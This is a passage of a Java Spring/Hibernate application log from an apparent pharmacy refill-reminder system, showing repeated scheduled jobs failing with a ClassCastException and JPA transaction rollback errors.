org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at 